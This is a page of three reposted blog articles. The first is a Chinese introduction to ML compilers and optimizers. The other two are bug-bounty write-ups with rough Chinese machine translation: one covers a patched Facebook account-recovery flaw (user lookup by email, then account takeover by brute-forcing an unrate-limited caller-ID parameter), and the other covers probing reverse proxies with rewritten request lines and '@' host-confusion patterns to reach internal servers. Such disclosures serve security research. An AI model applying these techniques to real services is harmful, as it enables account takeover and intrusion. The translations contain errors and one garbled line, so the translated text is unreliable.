【转载】机器学习编译器和优化器的友好介绍

我有一个忏悔。我在大学编译器课上哭了。我成为了一名机器学习工程师,这样我就不必担心编译器了。

然而,随着我更多地了解将 ML 模型投入生产,编译器的话题不断出现。在许多用例中,尤其是在边缘运行 ML 模型时,模型的成功仍然取决于其运行的硬件,这使得在生产中使用 ML 模型的人员了解他们的模型如何编译和优化以运行非常重要在不同的硬件加速器上。

理想情况下,编译器是不可见的,一切都会“正常工作”。然而,我们距离这一点还有很多年。随着越来越多的公司希望将 ML 带到边缘,并且越来越多的硬件正在为 ML 模型开发,越来越多的编译器正在开发以弥合 ML 模型和硬件加速器之间的差距——MLIR 方言、TVM、XLA、 PyTorch Glow、cuDNN 等。 根据 PyTorch 的创建者 Soumith Chintala 的说法,随着 ML 采用的成熟,公司将竞争谁可以更好地编译和优化他们的模型

了解编译器的工作原理可以帮助您选择正确的编译器,将您的模型带到您选择的硬件上,以及诊断性能问题并加速您的模型。

ML编译器大战


ML 的下一个竞赛是编译器(Soumith Chintala,Venture Beat 2020)

这篇文章(希望如此)是对 ML 编译器的友好、无泪的介绍。它始于边缘计算的兴起,我相信这将编译器从系统工程师的领域带入了普通 ML 从业者的领域。如果您已经对 ML 的优势深信不疑,请随时跳过这一部分。

下一部分是关于在边缘部署 ML 模型的两个主要问题:兼容性和性能、编译器如何解决这些问题以及编译器如何工作。最后提供了一些关于如何使用几行代码显着加快 ML 模型的资源。


目录

……
1. 云计算与边缘计算

……
2.编译:兼容性

….
3. 优化:性能

……
4. 如何优化您的 ML 模型

……
5. 手工设计与基于机器学习的编译器

……
6. 不同类型的编译器

……
7. 编译器的下一步是什么


1. 云计算与边缘计算

想象一下,您已经训练了一个令人难以置信的 ML 模型,其准确性超出了您最疯狂的期望。您很高兴能够部署此模型,以便用户可以访问它。

最简单的方法是将您的模型打包并通过托管云服务(例如 AWS 或 GCP)进行部署,这是有多少公司在开始使用 ML 时部署的。云服务在使公司轻松将 ML 模型投入生产方面做得非常出色。

但是,云部署有很多缺点。首先是成本。ML 模型可能是计算密集型的,并且计算成本很高。甚至在 2018 年,像 Pinterest、Infor、Intuit 等大公司每年已经在云账单上花费数亿美元 [ 1 , 2 ]。对于中小型公司来说,这个数字每年可能在5 万200 万美元之间处理云服务的错误可能导致初创公司破产 [ 1 , 2 ]。

云账单


随着 AWS 使用量的激增,公司对云账单感到惊讶。
图片来自 The Information (2018)。

随着云计算费用的攀升,越来越多的公司正在寻找将其计算推向消费设备(边缘设备)的方法。在边缘完成的计算越多,对云的需求就越少,他们为服务器支付的费用也就越少。

除了有助于控制成本外,还有许多特性使边缘计算具有吸引力。首先是它允许您的应用程序在云计算无法运行的地方运行。当您的模型位于公共云上时,它们依赖稳定的 Internet 连接将数据发送到云并返回。边缘计算允许您的模型在没有 Internet 连接或连接不可靠的情况下工作,例如在农村地区或发展中国家。

其次,当您的模型已经在消费者的设备上时,您可以少担心网络延迟。需要通过网络传输数据(将数据发送到云上的模型进行预测,然后将预测发送回用户)可能会使某些用例变得不可能。在许多情况下,网络延迟是比推理延迟更大的瓶颈。例如,您可能能够将 ResNet50 的推理延迟从 30 毫秒减少到 20 毫秒,但网络延迟可能高达数秒,具体取决于您所在的位置。下图显示了从佛蒙特州(我正在访问的地方)到世界上各个服务器中心的网络延迟。

来自佛蒙特州的网络延迟


Ping 结果从佛蒙特州到世界各地的服务器。
ping.psa.fun 的结果

在处理敏感的用户数据时,将模型置于边缘也很有吸引力。云上的机器学习意味着您的系统可能必须通过网络发送用户数据,使其容易被拦截。云计算通常还意味着将多个用户的数据存储在同一个地方,这意味着数据泄露会影响到很多人。据《安全》杂志 2020 年报道,近 80% 的公司在过去 18 个月中经历了云数据泄露。边缘计算使遵守有关如何传输或存储用户数据的法规(例如 GDPR)变得更加容易。

2.编译:兼容性

由于边缘计算相对于云计算具有许多优势,因此公司正在竞相开发针对不同 ML 用例进行优化的边缘设备。谷歌、苹果、特斯拉等老牌公司都宣布了自己制造芯片的计划。与此同时,机器学习硬件初创公司已经筹集了数十亿美元来开发更好的人工智能芯片。

2020 年筹集资金的 MLOps 硬件初创公司


人工智能硬件初创公司的一个子集(CrunchBase 的融资信息)

有了这么多用于运行 ML 模型的硬件新产品,一个问题就出现了:我们如何使使用任意框架构建的模型在任意硬件上运行?

对于在硬件上运行的框架,它必须得到硬件供应商的支持。例如,尽管 TPU 于 2018 年 2 月公开发布,但直到 2020 年 9 月,TPU 才支持 PyTorch。在此之前,如果您想使用 TPU,则必须使用 TensorFlow 或 JAX。

在某种类型的硬件(平台)上为框架提供支持是耗时且工程密集的。从 ML 工作负载映射到硬件需要了解并能够利用硬件的基础设施。然而,一个基本的挑战是不同的硬件类型具有不同的内存布局和计算原语,如下面的Chen 等人的插图所示.

例如,CPU 的计算原语曾经是一个数字(标量),GPU 的计算原语曾经是一个一维向量,而 TPU 的计算原语是一个二维向量(张量)。然而,如今许多 CPU 具有向量指令,而一些 GPU 具有二维张量核心。与二维向量相比,一维向量对一批 256 张图像 x 3 通道 x 224 W x 224 H 执行卷积算子将有很大不同。同样,您需要考虑不同的 L1、L2 和 L3 布局和缓冲区大小以有效地使用它们。

不同硬件后端的计算原语和内存布局


计算不同硬件后端的原语和内存布局。
图片由 Chen 等人提供,2018 年。

正因如此,框架开发者往往只专注于为少数服务器级硬件(例如 GPU)提供支持,而硬件供应商则倾向于为范围狭窄的框架提供自己的内核库(例如 Intel 的 OpenVino 只支持Caffe、TensorFlow、MXNet、Kaldi 和 ONNX。NVIDIA 有 CUDA 和 cuDNN)。将 ML 模型部署到新硬件(例如手机、嵌入式设备、FPGA 和 ASIC)需要大量的手动工作。

框架-硬件兼容性


如何在任意硬件后端运行使用任意框架构建的模型。

代替 ?
带有编译器名称。

中间代表 (IR)

如果我们创建一个中间人来桥接框架和平台,而不是针对每种新的硬件类型和设备都针对新的编译器和库呢?框架开发者将不再需要支持每一种类型的硬件,只需要将他们的框架代码翻译成这个中间人。那么硬件供应商可以支持一个中间框架而不是支持多个吗?

中间人代表 (IR) 作为中间人


中间人代表 (IR) 作为中间人

这种类型的“中间人”称为中间表示(IR)。IR 是编译器工作方式的核心。根据模型的原始代码,编译器在生成硬件原生代码以在特定平台上运行模型之前生成一系列高级和低级中间表示。

为了从 IR 生成机器原生代码,编译器通常利用代码生成器,也称为代码生成器。ML 编译器使用的最流行的代码生成器是LLVM,由 Vikram Adve 和 Chris Lattner(他们通过创建 LLVM 改变了我们对系统工程的概念)开发。TensorFlow XLA、NVIDIA CUDA 编译器 (NVCC)、MLIR(用于构建其他编译器的元编译器)和 TVM 都使用 LLVM。

此过程也称为“降低”,因为您将高级框架代码“降低”为低级硬件本机代码。这不是“翻译”,因为它们之间没有一对一的映射。

高级 IR 通常是 ML 模型的计算图。对于熟悉 TensorFlow 的人来说,这里的计算图类似于您在 TensorFlow 1.0 中遇到的计算图,之前 TensorFlow 切换到 Eager Execution。在 TensorFlow 1.0 中,TensorFlow 在运行模型之前首先构建了模型的计算图。此计算图允许 TensorFlow 了解您的模型以优化其运行时。

高级 IR 通常与硬件无关(不关心它将在什么硬件上运行),而低级 IR 通常与框架无关(不关心模型是用什么框架构建的)。

IR


高级 IR 和低级 IR。

我们将在下一节中讨论 Tuned IR。

3.优化:性能

在您“降低”代码以将模型运行到您选择的硬件中后,您可能会遇到的一个问题是性能。Codegen 非常擅长将 IR 降低为机器代码,但根据目标硬件后端,生成的机器代码可能无法正常执行。生成的代码可能不会利用数据局部性和硬件缓存,或者可能不会利用可以加速代码的高级功能,例如向量或并行操作。

典型的 ML 工作流由许多框架和库组成。例如,您可以使用 pandas/dask/ray 从数据中提取特征。您可以使用 NumPy 来执行矢量化。您可以使用 LightGBM 之类的树模型来生成特征,然后使用使用各种框架(如 sklearn、TensorFlow 或 Transformer)构建的模型集合进行预测。

尽管这些框架中的个别功能可能会被优化,但跨框架几乎没有优化。在这些函数之间移动数据以进行计算的幼稚方式可能会导致整个工作流程的速度下降一个数量级。斯坦福 DAWN 实验室的研究人员进行的一项研究发现,与手动优化的代码相比,使用 NumPy、Pandas 和 TensorFlow 的典型机器学习工作负载在一个线程中的运行速度要慢 23 倍Palkar 等人,’18)。

在生产中通常发生的是数据科学家/机器学习工程师 pip 安装他们工作所需的包。事情似乎在开发环境中运行良好,因此他们将模型部署到生产环境中。当他们在生产中遇到性能问题时,他们的公司通常会聘请优化工程师来为他们运行的硬件优化他们的模型。

2020 年筹集资金的 MLOps 初创公司


Cruise 优化工程师的工作描述

2020 年筹集资金的 MLOps 初创公司


Mythic 优化工程师的职位描述

优化工程师很难找到,而且招聘成本很高,因为他们需要了解机器学习和硬件架构。

为了帮助降低聘请优化专家的成本,我们可以求助于同时适用于机器学习模型和硬件的优化编译器。在将 ML 模型代码降级为机器代码的过程中,编译器可以查看您的 ML 模型的计算图及其包含的运算符(卷积、循环、交叉熵等),并找到一种方法来加速它。也优化您的代码的编译器称为优化编译器。我们将在下一节详细介绍如何优化您的 ML 模型。


总结一下您到目前为止所涵盖的内容,编译器桥接了 ML 模型和它们运行的​​硬件。优化编译器由两个组件组成:降低和优化。这两个组件不一定是分开的。优化可以发生在从高级 IR 到低级 IR 的所有阶段。

  • 降低:编译器为您的模型生成硬件本机代码,以便您的模型可以在某些硬件上运行。
  • 优化:编译器优化您的模型以在该硬件上运行。

4. 如何优化您的 ML 模型

有两种方法可以优化您的 ML 模型:本地和全局。本地是当您优化模型的一个运算符或一组运算符时。全局是当您端到端地优化整个计算图时。

已知有标准的局部优化技术可以加速您的模型,其中大多数技术使事物并行运行或减少芯片上的内存访问。以下是三种常用的技术。

  • 向量化:给定一个循环或嵌套循环,而不是一次执行一项,而是使用硬件原语对内存中连续的多个元素进行操作。
  • 并行化:给定一个输入数组(或 n 维数组),将其划分为不同的、独立的工作块,并分别对每个块进行操作。
  • 循环平铺:更改循环中的数据访问顺序以利用硬件的内存布局和缓存。这种优化依赖于硬件。CPU 上的良好访问模式不是 GPU 上的良好访问模式。请参阅下面由Colfax Research 提供的可视化
  • 运算符融合:将多个运算符融合为一个以避免冗余内存访问。例如,对同一个数组的两个操作需要对该数组进行两次循环;在融合的情况下——它只是一个循环。请参阅下面Matthias Boehm的示例
循环平铺


Colfax Research 的循环平铺可视化。

算子融合


Matthias Boehm 的算子融合示例。

根据 Weld(另一个编译器)的创建者 Shoumik Palkar 的说法,这些标准的局部优化技术有望提高约 3 倍的速度当然,这个估计是高度依赖于上下文的。

要获得更大的加速,您需要利用计算图的更高级别结构。例如,给定一个卷积神经网络,计算图可以垂直或水平融合,以减少内存访问并加速模型。请参阅下面由 NVIDIA 的TensorRT 团队制作的可视化

图优化


卷积神经网络计算图的纵向和横向融合。

TensorRT 的插图。

5. 手工设计与基于机器学习的编译器

手工设计的规则

正如上一节通过卷积神经网络的垂直和水平融合所暗示的那样,有许多可能的方法来执行给定的计算图。例如,给定 3 个运算符 A、B 和 C,您可以将 A 与 B 融合,将 B 与 C 融合,或者将 A、B 和 C 融合在一起。

传统上,框架和硬件供应商会聘请优化工程师,他们根据自己的经验提出如何最好地执行模型计算图的启发式方法。例如,NVIDIA 可能有一个工程师或一个工程师团队专门专注于如何让 ResNet-50 在他们的 DGX A100 服务器上真正快速运行。(这也是为什么你不应该过多地阅读MLPerf 的结果。在某种硬件上运行得非常快的流行模型并不意味着任意模型在该硬件上运行得非常快。可能只是这个模型是过度优化)。

手工设计的规则有几个缺点。首先是它们不是最佳的。不能保证工程师提出的启发式方法是最好的解决方案。

其次,它们是非自适应的。在新框架或新硬件架构上重复这个过程需要大量的努力。

由于模型优化取决于构成其计算图的一组运算符,因此这很复杂。优化卷积神经网络不同于优化循环神经网络,也不同于优化变压器。NVIDIA 和 Google 专注于在其硬件上优化 ResNet 和 BERT 等流行模型。但是,作为 ML 研究人员,如果您想出一个新的模型架构呢?在被硬件供应商采用和优化之前,您可能需要自己对其进行优化以证明它的速度很快。

使用机器学习加速机器学习模型

目标是在所有可能的方法中找到执行计算图的最快方法。如果我们尝试所有可能的方法,记录他们需要运行的时间,然后选择最好的方法会怎样?

问题是有太多可能的方法(路径)来探索(组合!),并且尝试所有方法都被证明是不可行的。如果我们使用 ML 来:

  • 缩小搜索空间,因此我们不必尝试那么多路径。
  • 预测一条路径需要多长时间,这样我们就不必等待整个计算图完成执行。

估计通过整个计算图的路径运行所需的时间非常困难,因为它需要对该图进行大量假设。目前的技术可能只关注图表的一小部分。

如果您在 GPU 上使用 PyTorch,您可能已经看到torch.backends.cudnn.benchmark=True. 当此设置为 True 时,将启用cuDNN 自动调谐cuDNN 自动调谐搜索一组预先确定的选项以执行卷积算子,然后选择最快的方式。如果每次迭代都运行相同的 convnet 形状,cuDNN 自动调整会很有帮助。第一次运行卷积算子时会很慢,因为 cuDNN 自动调谐需要时间来运行搜索。但是在后续运行中,cuDNN 将使用自动调整的缓存结果来选择最快的配置。

cuDNN autotune尽管有效,但仅适用于卷积算子,而且 AFAIK 仅适用于 PyTorch 和 MXNet。一个更通用的解决方案是autoTVM,它是开源编译器堆栈 TVM 的一部分。autoTVM使用子图而不仅仅是运算符,因此它使用的搜索空间要复杂得多。autoTVM 的工作方式非常复杂,但要点如下:

  1. 它首先将您的计算图分解为子图。
  2. 它预测每个子图有多大。
  3. 它分配时间为每个子图搜索最佳路径。
  4. 它缝合了将每个子图运行在一起以执行整个图的最佳方式。

autoTVM 测量运行每条路径所需的实际时间,这为其提供了地面实况数据以训练成本模型以预测未来路径将花费多长时间。这种方法的优点在于,因为模型是使用运行时生成的数据进行训练的,所以它可以适应它运行的任何类型的硬件。缺点是成本模型需要更多时间才能开始改进。

autoTVM 加速


与 cuDNN 在 NVIDIA TITAN X 上的 ResNet-50 相比,

基于 ML 的 TVM 提供的加速。基于 ML 的 TVM 需要约 70 次试验才能胜过 cuDNN。

Chen 等人的实验。


autotvm 成本模型


TVM 的成本模型如何运作

像 TVM 这样的编译器是自适应的、灵活的,当您想尝试新硬件时尤其有用。一个例子是苹果在 2020 年 11 月发布了他们的 M1 芯片M1是基于ARM的片上系统,ARM架构或多或少都比较好理解。但是,M1 的 ARM 实现仍然有很多新颖的组件,需要进行大量优化才能使各种 ML 模型在其上快速运行。发布一个月后,OctoML 的人们表明,autoTVM 所做的优化比 Apple 的 Core ML 团队手工设计的优化快了近 30%. 当然,随着 M1 的成熟和手工优化变得密集,自动优化将很难击败手工优化。但系统工程师可以利用 autoTVM 等工具来加速优化。

虽然自动调整的结果令人印象深刻,但它们有一个问题:TVM 可能很慢。您遍历所有可能的路径并找到最优化的路径。对于复杂的 ML 模型,此过程可能需要数小时甚至数天。但是,这是一次性操作,您的优化搜索结果可以缓存并用于优化现有模型并为未来的调整会话提供一个起点。您为一个硬件后端优化一次模型,然后在同一后端的多个设备上运行它。当您有一个准备好用于生产的模型并且目标硬件可以运行推理时,这种优化是理想的。

6. 不同类型的编译器

最广泛使用的编译器类型是由主要框架和硬件供应商开发的针对特定框架和硬件组合的特定领域编译器。不出所料,最受欢迎的产品是由最大的供应商开发的。

  • NVCC(NVIDIA CUDA 编译器):仅适用于 CUDA。闭源。
  • XLA(Accelerated Linear Algebra,Google):最初是为了加速 TensorFlow 模型,但已被 JAX 采用。作为 TensorFlow 存储库的一部分开源
  • PyTorch Glow (Facebook):PyTorch 已经采用 XLA 在 TPU 上启用 PyTorch,但对于其他硬件,它依赖于 PyTorch Glow。作为 PyTorch 存储库的一部分开源

一般而言,第三方编译器非常雄心勃勃(例如,您必须非常自信地认为您可以比 NVIDIA 更好地针对 GPU 进行优化)。但是第三方编译器很重要,因为它们有助于降低新框架、新一代硬件、新模型的性能开销,让小玩家有机会与拥有自己的编译器针对现有产品进行大量调整的老牌玩家竞争。

我看到的最好的第三方编译器是 Apache TVM,它适用于各种框架(包括 TensorFlow、MXNet、PyTorch、Keras、CNTK)和各种硬件后端(包括 CPU、服务器 GPU、ARM、 x86、移动 GPU 和基于 FPGA 的加速器)。

另一个我觉得令人兴奋的项目是MLIR,它最初也是由 Chris Lattner(LLVM 的创建者)在 Google发起的但是,它现在属于 LLVM 组织。MLIR 并不是一个真正的编译器,而是一个元编译器,允许您构建自己的编译器的基础设施。MLIR 可以运行多个 IR,包括 TVM 的 IR,以及 LLVM IR 和 TensorFlow 图。

WebAssembly (WASM)

这是我非常兴奋的事情,我需要为此创建一个部分。WASM 是我在过去几年中看到的最令人兴奋的技术趋势之一。它性能卓越、易于使用,并且拥有一个像野火一样不断发展的生态系统 [ 1 , 2 ]。截至 2021 年 9 月,全球 93% 的设备都支持它

我们一直在讨论编译器如何帮助我们为我们的模型生成机器原生代码以在某些硬件后端上运行。如果我们想生成一些可以在任何硬件后端上运行的代码怎么办?

进入了很好的旧浏览器。如果您可以在浏览器中运行您的模型,您就可以在任何支持浏览器的设备上运行您的模型:Macbook、Chromebook、iPhone、Android 手机等。您无需关心这些设备使用什么芯片。如果苹果决定从英特尔芯片转向 ARM 芯片,那不是你的问题!

WebAssembly 是一个开放标准,允许您在浏览器中运行可执行程序。在 sklearn、PyTorch、TensorFlow 或您使用的任何框架中构建模型后,您可以将模型编译为 WASM,而不是编译模型以在特定硬件上运行。你会得到一个可执行文件,你可以只用 JavaScript 来使用它。

WASM 的主要缺点是因为 WASM 在浏览器中运行,所以速度很慢。尽管 WASM 已经比 JavaScript 快得多,但与在设备(例如 iOS 或 Android 应用程序)上本地运行代码相比,它仍然很慢。Jangda 等人的一项研究显示编译为 WASM 的应用程序运行速度比原生应用程序平均慢 45%(在 Firefox 上)到 55%(在 Chrome 上)。

有许多编译器可以帮助您编译为 WASM 运行时。最流行的可能是 Emscripten(它也使用 LLVM 代码生成器),但它只能从 C 和 C++ 编译成 WASM。scailable应该从 scikit-learn 模型转换为 WASM,但它在 GitHub 上只有 13 颗星,并且在过去 3 个月内没有更新(它甚至还在维护吗?)。TVM 是我所知道的唯一一个从ML 模型编译为 WASM 的活动编译器如果您知道任何其他编译器,请告诉我,我很乐意在此处添加它们!

提示:如果您决定试用 TVM,请使用他们的非官方 conda/pip 命令进行快速安装,而不是使用 Apache 站点上的说明。如果您需要帮助,他们只有一个 Discord 服务器

7. 编译器的下一步是什么

考虑您的模型如何在不同的硬件后端上运行会很有帮助,这样您就可以提高它们的性能。Austin Huang在我们的MLOps Discord发帖称,他经常通过使用简单的现成工具(量化工具、Torchscript、ONNX、TVM)而无需太多努力就可以看到 2倍的加速。

这里有一个很棒的技巧列表,可以帮助您在 GPU 上加速 PyTorch 模型,甚至无需使用编译器。

当您的模型准备好部署时,有必要尝试不同的编译器,看看哪一个能给您带来最佳的性能提升。您可以并行运行这些实验。一个推理请求的小幅提升可以累积成数百万或数十亿推理请求的大回报。

尽管用于机器学习的编译器已经取得了巨大的进步,但在我们完全从一般 ML 从业者那里抽象出编译器之前,还有很多工作要做。想想像 GCC 这样的传统编译器。您使用 C 或 C++ 编写代码,GCC 会自动将您的代码降低为机器代码。大多数 C 程序员甚至不关心 GCC 生成什么中间表示。

未来,机器学习编译器可以采用同样的方式。您使用框架以计算图的形式创建 ML 模型,您的 ML 编译器可以为您运行的任何硬件生成机器原生代码。您甚至无需担心中间表示。

TVM 之类的工具是使未来成为可能的步骤。

致谢

我要感谢 Luke Metz、Chris Hoge、Denise Kutnick、Parimarjan Negi、Ben Schreiber、Tom Gall、Nikhil Thorat、Daniel Smilkov、Jason Knight 和 Luis Ceze,他们耐心地回答了我的数百个问题并使这篇文章成为可能。

【转载】【漏洞分析】Facebook email disclosure and account takeover

I have a preference for apps over web when it comes to hunting, so in January I decided to dive deep into apk endpoints hoping to find something juicy.

比起网络,我更喜欢应用程序,所以在一月份我决定深入 apk endpoints,希望能找到一些有趣的东西。

I downloaded bunch of FB and messenger apks of different versions, grepped all the endpoints, sorted them and was going through them

我下载了很多不同版本的 FB 和 messenger 应用程序,润滑了所有端点,对它们进行了排序,并正在浏览它们

During the process, I came across another an interesting endpoint named:

在这个过程中,我遇到了另一个有趣的端点,名为:

POST auth/flashcall_account_recovery

POST auth/flashcall _ account _ recovery

The endpoint required 3 parameters:
cuid, encrypted_phone_numbers & cli

端点需要3个参数: cuid,encrypted _ phone number & cli

The CUID basically meant encrypted email/phone and can be easily found.

Just supply victim’s email in

CUID 基本上意味着加密的电子邮件/电话,可以很容易地被找到。只要提供受害者的电子邮件在

POST /recover_accounts

POST/recover_accounts

And in response you’d get the CUID.

作为回应,你会得到 CUID。

Secondly, while going through the Facebook’s password recovery flow.

其次,在浏览 Facebook 的密码恢复流程时。

I noticed that in the endpoint responsible for sending the FB OTP code, there was a parameter named:

我注意到,在负责发送 FB OTP 代码的端点上,有一个参数名为:

should_use_flash_call=false

应该使用 flash call = false

If its false, you’d receive an OTP SMS in your phone and if set true, you receive a phone call instead of OTP for account recovery.

如果是假的,你会收到一个 OTP 短信在你的手机,如果设置为真,你会收到一个电话,而不是 OTP 的帐户恢复。

And in the response it contained the required encrypted phone numbers.

在回复中,它包含了所需的加密电话号码。

Now, I could not figure out what cli was.
The only thing coming to my mind was “cli~command line interface

现在,我不知道 cli 是什么,我脑子里唯一想到的是“ cli ~ 命令行界面”

Unable to figure out, I supplied null value instead.

由于无法确定,我改为提供了空值。

When made the request,
I received the userID belonging to the user, whose email value I supplied as the CUID.

当发出请求时,我收到了属于该用户的 userID,我提供了其电子邮件值作为 CUID。

Meaning an attacker could supply anyone’s email/phone as CUID and in response he would be exactly able to determine who that email belonged to.

这意味着攻击者可以提供任何人的电子邮件/电话作为 CUID,作为回应,他可以准确地确定这封电子邮件属于谁。

I quickly submitted the report and it was triaged and fixed within a day.

我迅速提交了报告,并在一天之内进行了分类和修复。

I was veryyyyy curious about this endpoint as I had never used a “phone call recovery” to reset my password.

我对这个端点非常好奇,因为我从来没有用“电话恢复”来重置我的密码。

Neither it was present in my UI, nor was there much info available regarding this account recovery flow in Google as well as Youtube.

在我的用户界面中没有,也没有很多关于 Google 和 Youtube 账户恢复流程的信息。

So I started to analyze how this recovery flow works by reading the smali files.

因此,我开始通过读取 smali 文件来分析这个恢复流是如何工作的。

The endpoint worked in following manner.

端点以下列方式工作。

  1. I enter my email/phone. 我输入我的电子邮件/电话
  2. Choose phone call recovery option. 选择电话恢复选项
  3. I receive a phone call. 我接到一个电话
  4. That phone number will be automatically supplied to the endpoint as: 该电话号码将自动提供给端点,如下:

POST /flash_call_recovery

POST/flash _ call _ recovery

cuid=x&enc_phone=x&cli=+1xxxxx

2.1.1.2.2.2.2.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3.3

Turns out in cli parameter we are basically supposed to supply the phone number from which we received the phone call in Step3.

结果在 cli 参数中,我们基本上应该提供我们在 Step3接到电话的电话号码。

Now it all made sense why it was called phone call recovery🤦‍♂️

现在一切都说得通了,为什么它被称为“复苏电话”(phone call recovery)

I guess the cli means something like caller identification.

我猜 cli 的意思是来电显示之类的。

In an ideal scenario when supplied all valid values, we would then receive this following response:

在理想的情况下,当提供所有有效值时,我们将收到以下响应:

{“id”:”UserID”,”nonce”:”XXXX”,"skip_logout_pw_reset":""}

{“ id”: “ UserID”,“ nonce”: “ XXXX”,“ skip _ logout _ pw _ reset”: “”}

This nonce value acts as an OTP code and then will be supplied to the OTP verification endpoint.

此 nonce 值充当 OTP 代码,然后将提供给 OTP 验证端点。

The OTP verification endpoint is then responsible for validating the nonce and setting the new password.

OTP 验证端点负责验证 nonce 并设置新密码。

In POST /flash_call_recovery , I initially tested if supplying another user’s valid cli with victim’s cuid would work, but it didn’t.

在 POST/flash _ call _ recovery 中,我最初测试了将受害者的 cuid 提供给另一个用户的有效 cli 是否可行,但没有成功。

I tried flipping every parameters here and there but non of them worked.

我试着翻转每一个参数,但是没有一个有效。

Now, the only option I was left with was bruteforcing the cli.

现在,我唯一的选择就是强迫他们。

Considering how strict FB is with rate limiting since it even has rate limit implemented on non authentication endpoints I had little to no hope.

考虑到 FB 在速率限制方面有多么严格,因为它甚至在非身份验证端点上实现了速率限制,我几乎没有希望。

But to my absolute surprise, it had no rate limit implemented in this endpoint.

但令我惊讶的是,在这个端点没有实施速率限制。

Hence the attack would work like this:

因此,攻击的工作原理如下:

  1. User supplies victim’s 用户提供受害者的cuid and enc_phone_number in flashcall recovery endpoint 在闪点恢复终端
  2. Bruteforces the 粗暴的强迫cli
  3. Receives the 接收nonce from the response 从反应
  4. Supplies the 供应nonce in OTP verification endpoint and sets a new password for victim’s account. 在 OTP 验证端点,并设置一个新的密码为受害者的帐户

Here’s video demonstrating how a default phone call account recovery process works:

下面的视频演示了一个默认的手机通话账户恢复过程的工作原理:

Timeline of Email Disclosure

邮件泄露时间表

Submitted: April 25, 2021
Triaged: April 27,2021
Fixed:
April 27,2021

提交: 2021年4月25日分诊: 2021年4月27日修复: 2021年4月27日

Timeline of Account Takeover

接管帐户时间表

Submitted: April 29, 2021
Triaged : April 30, 2021 at 3:32 PM
Fixed: April 30, 2021 at 3:49 PM

提交: 2021年4月29日分流: 2021年4月30日下午3:32固定: 2021年4月30日下午3:49

It took me more time to verify the fix then FB took to release the fix, lol🤣

我花了更多的时间来验证修复然后 FB 采取释放修复,哈哈

After thorough investigation, Facebook found no evidence of abuse and the issue was finally closed in September 2.

经过彻底的调查,Facebook 没有发现虐待的证据,这个问题最终在9月2日结束。

【转载】【漏洞分析】How I made 25000 USD in bug bounties with reverse proxy

我是怎样用反向代理服务器赚取25000美元的 bug 赏金的

A proxy server is a go‑between or intermediary server that forwards requests for content from multiple clients to different servers across the Internet. A reverse proxy server is a type of proxy server that typically sits behind the firewall in a private network and directs client requests to the appropriate backend server. A reverse proxy provides an additional level of abstraction and control to ensure the smooth flow of network traffic between clients and servers.

代理服务器是一个中间服务器,它将来自多个客户机的内容请求转发到 Internet 上的不同服务器。反向代理服务器是一种代理服务器,它通常位于私有网络中的防火墙之后,并将客户机请求发送到适当的后端服务器。反向代理提供了额外的抽象和控制级别,以确保客户机和服务器之间网络流量的顺利流动。

Basic reverse proxy 基本的反向代理

Why is used?

为什么要使用?

  • Load balancing 负载平衡 — A reverse proxy server can act as a “traffic cop,” sitting in front of your backend servers and distributing client requests across a group of servers in a manner that maximizes speed and capacity utilization while ensuring no one server is overloaded, which can degrade performance. If a server goes down, the ー反向代理服务器可以充当“交通警察”,位于后端服务器之前,以最大限度提高速度和产能利用率的方式在一组服务器之间分发客户端请求,同时确保没有一个服务器超载,这会降低性能。如果服务器宕机,则load balancer 负载均衡器 redirects traffic to the remaining online servers. 将流量重定向到剩余的在线服务器
  • Web acceleration 网页加速 — Reverse proxies can compress inbound and outbound data, as well as cache commonly requested content, both of which speed up the flow of traffic between clients and servers. They can also perform additional tasks such as SSL encryption to take load off of your web servers, thereby ー反向代理可以压缩入站和出站数据,以及缓存通常要求的内容,这两者都加快了客户端和服务器之间的通信流。他们还可以执行额外的任务,如 SSL 加密,以减轻您的 web 服务器的负载,从而boosting their performance 提高他们的表现.
  • Security and anonymity 安全和匿名 — By intercepting requests headed for your backend servers, a reverse proxy server protects their identities and acts as an additional defense against security attacks. It also ensures that multiple servers can be accessed from a single record locator or URL regardless of the structure of your local area network. ー反向代理服务器通过拦截发往后端服务器的请求,保护这些请求的身份,并作为额外的防御安全攻击的工具。它还确保可以从单个记录定位器或 URL 访问多个服务器,而不管局域网的结构如何

So basically I escalated a REVERSE PROXY to 2 SQLi and 3 RCE on the internal servers and a couple of other issues. There was information disclosure and other problems found.

所以基本上我在内部服务器上将反向代理升级为2 SQLi 和3 RCE,还有其他一些问题。有信息披露和其他问题被发现。

To find the reverse proxy you can use Burp or DNSBIN better to catch the DNS request.

要找到反向代理,你可以使用 Burp 或 DNSBIN 更好地捕捉 DNS 请求。

You need to modify the requests like this

您需要像这样修改请求

GET / HTTP/1.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded

GET/HTTP/1.1 Content-Length: 95 Content-Type: application/x-www-form-urlencoded

to

GET http://burpcollaborator_url HTTP/1.1
Content-Length: 95
Content-Type: application/x-www-form-urlencoded

1.1 Content-Length: 95 Content-Type: application/x-www-form-urlencoded. GET HTTP://burpcollaborator_url /HTTP/1.1 Content-Length: 95 Content-Type: application/x-www-form-urlencoded

Then you need to check the DNS responses, but filter a lot of WAF and manual pingbacks you get because most of the time is false positive

然后您需要检查 DNS 响应,但过滤大量的 WAF 和手动 pingback,因为大多数时候是假阳性

If you get a DNS response only and not a HTTP one, don’t give up. It means other ports on the same internal portal might be accessible, just not 80 or 443. Or some internal sites cannot be shown by the reverse proxy. You might need to trick with adding an url or subdomain that pretends to be valid.

如果你得到的只是 DNS 响应而不是 HTTP 响应,不要放弃。这意味着可以访问同一个内部门户上的其他端口,而不是80或443。或者一些内部站点无法通过反向代理显示。你可能需要添加一个欺骗的 url 或子域,假装是有效的。

Once you get access to an internal asset, you need to use the reverse proxy and test it like it’s an external website

一旦您获得了对内部资产的访问权,您需要使用反向代理并将其当作外部网站进行测试

Burp trick to be able to browse the internal site from the browser 打嗝的技巧,能够浏览内部网站从浏览器

Of course is a big are to explore and many bypass combinations to try like:

当然是大有探索和许多旁路组合去尝试的样子:

GET https://external_site.com@internal_site:4566 HTTP1/1 etc

Https://external_site.com@internal_site:4566 http/1/1等

I believe this are is not fully explored, even if the bug type is not new. Probably similar issues can be found with another name or attacks work with other techniques. Like a reverse proxy can also be exploited via another url parser issue etc. But I encourage everyone to look more here.

我相信这是没有充分探讨,即使错误类型不是新的。也许类似的问题可以用另一个名字找到,或者用其他技术进行攻击。像反向代理一样,也可以通过另一个 url 解析器问题等加以利用。但我鼓励大家多看看这里。

